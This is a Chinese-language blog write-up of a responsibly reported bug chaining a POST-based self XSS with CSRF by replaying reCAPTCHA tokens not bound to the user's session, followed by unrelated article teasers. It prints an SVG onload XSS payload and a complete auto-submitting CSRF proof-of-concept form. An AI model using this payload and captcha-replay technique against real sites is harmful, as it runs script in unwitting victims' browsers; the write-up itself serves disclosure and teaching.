当前位置: 首页 > news >正文

记一次Self XSS+CSRF组合利用

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

目录: 

    确认 XSS 漏洞

 确认 CSRF 漏洞

这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力,那么这就是一个普通的反射型 XSS(Self XSS)。本来这不会成为一个大问题,但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA,从而成功实现 CSRF 攻击的。

图片

为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上,会显示一个表单。

图片

提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。

图片

确认 XSS 漏洞

我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:

"><svg/onload=confirm(document.domain)>

图片

当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。

图片

确认 CSRF 漏洞

如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sidcaptcha_token 和 g_recaptcha_response。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。

图片

那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。

<html> <body> <h1>CSRF PoC</h1> <form action="https://www.target.com/subscribe" method="POST"> <input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" /> <input type="hidden" name="name_last" value="Doe" /> <input type="hidden" name="email_address" value="test@fake.com" /> <input type="hidden" name="company_name" value="FakeCompany" /> <input type="hidden" name="captcha_sid" value="INSERT-HERE" /> <input type="hidden" name="captcha_token" value="INSERT-HERE" /> <input type="hidden" name="captcha_response" value="Google no captcha" /> <input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" /> <input type="hidden" name="captcha_cacheable" value="1" /> <input type="hidden" name="op" value="Submit" /> <input type="hidden" name="form_build_id" value="form-Vwtw-XX&" /> <input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body></html>

剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 https://www.target.com/subscribe,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。

图片

总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。

我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。

图片

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关文章:

记一次Self XSS+CSRF组合利用

视频教程在我主页简介或专栏里 &#xff08;不懂都可以来问我 专栏找我哦&#xff09; 目录&#xff1a;  确认 XSS 漏洞 确认 CSRF 漏洞 这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞&#xff0c;只能通过 POST 请求进行利用。通常情况下&#xff0c;基于 POST 的…...

JVM 类加载子系统在干什么?

JVM 类加载子系统是什么&#xff1f; 类加载子系统&#xff08;Class Loader Subsystem&#xff09;是 JVM 负责 加载、链接和初始化 .class 文件的组件。它的主要作用是将字节码文件加载进 JVM 并准备执行。 类加载器&#xff08;ClassLoader&#xff09;是 字节码的搬运工&…...

Golang轻松实现消息模板变量替换:text/template

text/template 是 Go 语言标准库中的一个包&#xff0c;用于生成文本输出。它通过解析模板并根据给定的数据执行模板来生成最终的文本。text/template 提供了强大的模板引擎&#xff0c;支持条件判断、循环、变量替换等功能。 基本概念 模板&#xff1a;模板是一个文本文件或…...

DeepSeek模型R1服务器繁忙,怎么解决?

在当今科技飞速发展的时代&#xff0c;人工智能领域不断涌现出令人瞩目的创新成果&#xff0c;其中DeepSeek模型无疑成为了众多关注焦点。它凭借着先进的技术和卓越的性能&#xff0c;在行业内掀起了一股热潮&#xff0c;吸引了无数目光。然而&#xff0c;如同许多前沿技术在发…...

《探秘Windows 10驱动开发:从入门到实战》

《探秘Windows 10驱动开发:从入门到实战》 为什么要在 Windows 10 编写驱动程序 在当今数字化时代,计算机已成为人们生活和工作中不可或缺的工具 ,而 Windows 10 作为一款广泛使用的操作系统,其生态系统的丰富性和复杂性不言而喻。在这个庞大的体系中,驱动程序扮演着举足…...

Golang的容器化部署流程

# Golang的容器化部署流程 什么是容器化部署 容器化部署是将应用程序、运行环境及其依赖项打包在一起&#xff0c;以便可以在任何环境中快速、一致地运行的技术。它提供了更高效的资源利用、更便捷的部署和更稳定的环境。 的容器化支持 天生支持跨平台编译&#xff0c;使得将Go…...

计算机网络,大白话

好嘞&#xff0c;咱就从头到尾&#xff0c;给你好好说道说道计算机网络里这些“门门道道”的概念&#xff1a; 1. 网络&#xff08;Network&#xff09; 啥是网络&#xff1f; 你可以把网络想象成一个“大Party”&#xff0c;大家&#xff08;设备&#xff09;聚在一起&#…...

智慧城市V4系统小程序源码独立版全插件全开源

智慧城市V4系统小程序源码&#xff1a;多城市代理同城信息服务的全域解决方案 在数字化浪潮的推动下&#xff0c;智慧城市已成为全球发展的核心战略。作为这一领域的革新者&#xff0c;智慧城市V4系统小程序源码凭借其多城市代理同城信息服务能力与多商家营销功能&#xff0c;…...

SpringBoot分布式应用程序和数据库在物理位置分配上、路由上和数量上的最佳实践是什么?

在设计和部署Spring Boot分布式应用程序时&#xff0c;物理位置分配、路由和数据库数量的最佳实践对系统性能、可用性和可维护性至关重要。以下是相关建议&#xff1a; 1. 物理位置分配 最佳实践&#xff1a; 靠近用户部署&#xff1a;将应用实例部署在靠近用户的数据中心&a…...

【LeetCode Hot100 哈希】两数之和、字母异位词分组、最长连续序列

哈希 1. 两数之和题目描述解题思路步骤&#xff1a;时间复杂度&#xff1a;空间复杂度&#xff1a; 代码实现 2. 字母异位词分组题目描述解题思路步骤&#xff1a;时间复杂度&#xff1a;空间复杂度&#xff1a; 代码实现 3. 最长连续序列题目描述解题思路关键思路&#xff1a;…...

Jenkins 通过 Execute Shell 执行 shell 脚本 七

Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…...

无人机常见的定位方式

目录 1、卫星导航定位 2、基于地面基站定位 3、惯性导航定位 4、视觉定位 5、其他定位技术 目前无人机的定位方式主要有以下几种&#xff1a; 1、卫星导航定位 GPS 定位&#xff1a;全球定位系统是应用最广泛的卫星导航系统&#xff0c;无人机上的 GPS 接收器接收至少四…...

【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ 相关笔记&#xff1a; https://blog.csdn.net/dj…...

使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序

作者&#xff1a;来自 Elastic Adrian Cole Elastic 很自豪地在我们的 Python、Node.js 和 Java EDOT SDK 中引入了 OpenAI 支持。它们为使用 OpenAI 兼容服务的应用程序添加日志、指标和跟踪&#xff0c;而无需任何代码更改。 介绍 去年&#xff0c;我们宣布了 OpenTelemetry…...

基于 STM32 的病房监控系统

标题:基于 STM32 的病房监控系统 内容:1.摘要 基于 STM32 的病房监控系统摘要&#xff1a;本系统采用 STM32 微控制器作为核心&#xff0c;通过传感器实时监测病房内的环境参数&#xff0c;如温度、湿度、光照等&#xff0c;并将数据上传至云端服务器。医护人员可以通过手机或…...

线上HBase client返回超时异常分析 HBase callTimeout=60000

问题现象 HBase client直接返回超时异常 HBase callTimeout=60000, callDuration=60301: row ‘12649160863966c2790195059018040900010003320’ on table ‘Z_UPA’ at region=Z_UPA,1213d1a56,1184027415643. ba7224f83dbb09591a74b7059f17., hostname=abcd,60020,891863950…...

03.开闭原则详细介绍

03.开闭原则详细介绍 目录介绍 01.问题思考的分析02.如何理解开闭原则03.开闭原则的背景04.开闭原则比较难学05.实现开闭原则方式06.画图形案例分析07.银行业务案例分析08.开闭原则优缺点09.开闭原则的总结 推荐一个好玩网站 一个最纯粹的技术分享网站&#xff0c;打造精品…...

前端职业规划

前端开发的职业规划可以根据个人兴趣、技术深度和职业目标来制定。以下是一个典型的前端开发者职业发展路径&#xff0c;涵盖了从初级到高级的不同阶段&#xff0c;以及未来的发展方向&#xff1a; 1. 初级阶段&#xff08;0-2 年&#xff09; 目标&#xff1a;掌握基础技能&a…...

杂记:STM32 调试信息打印实现方式

杂记&#xff1a;STM32 调试信息打印实现方式 一、引言二、使用 USART 串口打印原理&#xff08;二&#xff09;实现步骤硬件连接代码实现 使用 ST - LINK 调试器 ITM 打印&#xff08;一&#xff09;原理&#xff08;二&#xff09;实现步骤硬件连接代码实现 四、使用 Semihos…...

python+unity落地方案实现AI 换脸融合

先上效果再说技术结论&#xff0c;使用的是自行搭建的AI人脸融合库&#xff0c;可以离线不受限制无限次生成&#xff0c;有需要的可以后台私信python ai换脸融合。 TODO 未来的方向&#xff1a;3D人脸融合和AI数据训练 这个技术使用的是openvcinsighface&#xff0c;openvc…...

变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析

一、变量声明设计&#xff1a;let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性&#xff0c;这种设计体现了语言的核心哲学。以下是深度解析&#xff1a; 1.1 设计理念剖析 安全优先原则&#xff1a;默认不可变强制开发者明确声明意图 let x 5; …...

大话软工笔记—需求分析概述

需求分析&#xff0c;就是要对需求调研收集到的资料信息逐个地进行拆分、研究&#xff0c;从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要&#xff0c;后续设计的依据主要来自于需求分析的成果&#xff0c;包括: 项目的目的…...

FFmpeg 低延迟同屏方案

引言 在实时互动需求激增的当下&#xff0c;无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作&#xff0c;还是游戏直播的画面实时传输&#xff0c;低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架&#xff0c;凭借其灵活的编解码、数据…...

ssc377d修改flash分区大小

1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

BLEU评分:机器翻译质量评估的黄金标准

BLEU评分&#xff1a;机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域&#xff0c;衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标&#xff0c;自2002年由IBM的Kishore Papineni等人提出以来&#xff0c;…...

学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图

在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ ​​开发工具​​&#xff1a;下载安装 ​​De…...

【C++】纯虚函数类外可以写实现吗?

1. 答案 先说答案&#xff0c;可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...